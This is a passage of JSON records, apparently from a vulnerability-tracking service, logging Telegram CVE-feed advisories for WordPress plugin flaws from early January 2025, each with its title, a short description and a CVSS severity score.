in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:42.000000Z"}, {"uuid": "cf227b90-b120-4d24-8800-5aa7428fa5c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://t.me/cvedetector/14472", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12849 - WordPress Error Log Viewer By WP Guru Arbitrary File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12849 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:36.000000Z"}, {"uuid": "a2f98b24-c380-4b44-864f-6e26a475b230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://t.me/cvedetector/14471", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12633 - JoomSport WordPress Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12633 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The JoomSport \u2013 for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page parameter in all versions up to, and including, 5.6.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:36.000000Z"}, {"uuid": "1ef6c2bf-1390-44c4-9798-0b3133a148bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://t.me/cvedetector/14470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12535 - \"WordPress Host PHP Info Plugin Unauthenticated Arbitrary Configuration Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-12535 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Host PHP Info plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:35.000000Z"}, {"uuid": "18995740-313c-48e3-a1c6-fdda259beeb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://t.me/cvedetector/14464", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12252 - WordPress SEO LAT Auto Post File Overwrite Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12252 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The SEO LAT Auto Post plugin for WordPress is vulnerable to file overwrite due to a missing capability check on the remote_update AJAX action in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to overwrite the seo-beginner-auto-post.php file which can be leveraged to achieve remote code execution. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:25.000000Z"}, {"uuid": "be3b6ab9-f0d9-43e0-82c0-2d02786cef7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12047", "type": "seen", "source": "https://t.me/cvedetector/14264", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12047 - WordPress WP Compress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12047 \nPublished : Jan. 4, 2025, 8:15 a.m. | 26\u00a0minutes ago \nDescription : The WP Compress \u2013 Instant Performance & Speed Optimization plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018custom_server\u2019 parameter in all versions up to, and including, 6.30.03 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T09:44:26.000000Z"}, {"uuid": "65297de6-2f8e-4acd-814f-3971dadce4d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12214", "type": "seen", "source": "https://t.me/cvedetector/14463", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12214 - WooCommerce HSS Extension for Streaming Video WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12214 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The WooCommerce HSS Extension for Streaming Video plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018videolink\u2019 parameter in all versions up to, and including, 3.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:24.000000Z"}, {"uuid": "a3385118-0da4-4344-8e4b-06cc0d74ca1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12208", "type": "seen", "source": "https://t.me/cvedetector/14462", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12208 - WordPress Backup Plugin CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12208 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Backup and Restore WordPress \u2013 Backup Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.50. This is due to missing or incorrect nonce validation on the ajax_queue_manual_backup() function. This makes it possible for unauthenticated attackers to trigger backups via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:24.000000Z"}, {"uuid": "cb2d4d24-8b61-41f1-b0c7-c1d303ffea3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12207", "type": "seen", "source": "https://t.me/cvedetector/14461", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12207 - \"WordPress Toggles Shortcode and Widget Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12207 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Toggles Shortcode and Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018content\u2019 parameter in all versions up to, and including, 1.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:23.000000Z"}, {"uuid": "034119c7-2abe-47d7-93bc-6123c7490bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12291", "type": "seen", "source": "https://t.me/cvedetector/14460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12291 - ViewMedica 9 for WordPress CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12291 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The ViewMedica 9 plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.15. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:22.000000Z"}, {"uuid": "7403e0d5-28d5-4df7-a780-2d0c8365a72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://t.me/cvedetector/14459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12264 - PayU CommercePro Plugin WordPress Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12264 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The PayU CommercePro Plugin plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.8.3. This is due to /wp-json/payu/v1/generate-user-token and /wp-json/payu/v1/get-shipping-cost  REST API endpoints not properly verifying a user's identity prior to setting the users ID and auth cookies. This makes it possible for unauthenticated attackers to create new administrative user accounts. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:18.000000Z"}, {"uuid": "fa6121f4-d220-4d45-848e-7cd0c774834b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://t.me/cvedetector/14458", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12313 - \"WooCommerce Compare Products PHP Object Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12313 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Compare Products for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.1 via deserialization of untrusted input from the 'woo_compare_list' cookie. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:18.000000Z"}, {"uuid": "bee879f9-490e-4cea-a964-39c8c874070a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12290", "type": "seen", "source": "https://t.me/cvedetector/14457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12290 - Infility Global WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12290 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Infility Global plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018set_type\u2019 parameter in all versions up to, and including, 2.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:17.000000Z"}, {"uuid": "9e87753e-dfc5-45d2-a5f6-1b3568616277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://t.me/cvedetector/14456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12288 - WordPress Simple Add Pages/Posts CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12288 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Simple add pages or posts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:16.000000Z"}, {"uuid": "1d641c54-1a37-47a0-80ed-5fcab0be0fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://t.me/cvedetector/14455", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12435 - WooCommerce Compare Products Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12435 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Compare Products for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018s_feature\u2019 parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:15.000000Z"}, {"uuid": "a3d0d093-638f-4a1f-84d2-c14b506fd59a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://t.me/cvedetector/14447", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12445 - WordPress RightMessage Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12445 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The RightMessage WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rm_area' shortcode in all versions up to, and including, 0.9.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:04.000000Z"}, {"uuid": "a5260453-5c93-4212-af9d-9bbc082a4f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12470", "type": "seen", "source": "https://t.me/cvedetector/14446", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12470 - SakolaWP WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12470 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The School Management System \u2013 SakolaWP plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.0.8. This is due to the registration function not properly limiting what roles a user can register as. This makes it possible for unauthenticated attackers to register as an administrative user. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:03.000000Z"}, {"uuid": "2a443c14-0491-4c6b-9a52-e0a4de7459e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12022", "type": "seen", "source": "https://t.me/cvedetector/14443", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12022 - WordPress Menu Image Unauthorized Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12022 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The WP Menu Image plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wmi_delete_img_menu' function in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to delete images from menus. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:57.000000Z"}, {"uuid": "f966f00a-e81b-4760-aefc-3bd18542035f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12332", "type": "seen", "source": "https://t.me/cvedetector/14454", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12332 - WordPress WPSchoolPress SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12332 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'cid' parameter in all versions up to, and including, 2.2.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Student/Parent-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:12.000000Z"}, {"uuid": "5320fbf1-30be-4d6e-af79-f5f34b1c32e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12327", "type": "seen", "source": "https://t.me/cvedetector/14453", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12327 - \"WordPress LazyLoad Background Images Unauthenticated Settings Modification\"\", \n  \"Content\": \"CVE ID : CVE-2024-12327 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The LazyLoad Background Images plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the pblzbg_save_settings() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:11.000000Z"}, {"uuid": "f80db626-4590-47a6-8e0d-1e96da1b06fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12453", "type": "seen", "source": "https://t.me/cvedetector/14448", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12453 - \"Uptodown WordPress APK Download Widget Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12453 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Uptodown APK Download Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'utd-widget' shortcode in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:04.000000Z"}, {"uuid": "031371ab-b947-4675-a314-d4fdbfedb648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://t.me/cvedetector/14437", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12540 - WordPress LDD Directory Lite Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12540 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The LDD Directory Lite plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 3.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:46.000000Z"}, {"uuid": "f505545b-8046-4866-8ae3-ac875d5e3a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://t.me/cvedetector/14436", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12538 - WordPress Duplicate Post Plugin Sensitive Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12538 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The Duplicate Post, Page and Any Custom Post plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.5.3 via the 'dpp_duplicate_as_draft' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:45.000000Z"}, {"uuid": "77a9ee78-8367-4a19-9fe0-4ca455b898a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://t.me/cvedetector/14435", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12528 - WordPress Survey & Poll Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12528 \nPublished : Jan. 7, 2025, 4:15 a.m. | 39\u00a0minutes ago \nDescription : The WordPress Survey & Poll \u2013 Quiz, Survey and Poll Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsurveypoll_results' shortcode in all versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T06:19:45.000000Z"}, {"uuid": "29606b64-ed16-4104-bf0b-520852a9ab75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12324", "type": "seen", "source": "https://t.me/cvedetector/14452", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12324 - Unilevel MLM Plan Plugin WordPress Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12324 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Unilevel MLM Plan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:10.000000Z"}, {"uuid": "2d0ebaa4-e421-487f-8915-35251891a769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://t.me/cvedetector/14451", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12322 - WordPress ThePerfectWedding.nl Widget CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12322 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The ThePerfectWedding.nl Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8. This is due to missing or incorrect nonce validation on the 'update_option' function. This makes it possible for unauthenticated attackers to update the 'tpwKey' option with stored cross-site scripting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as 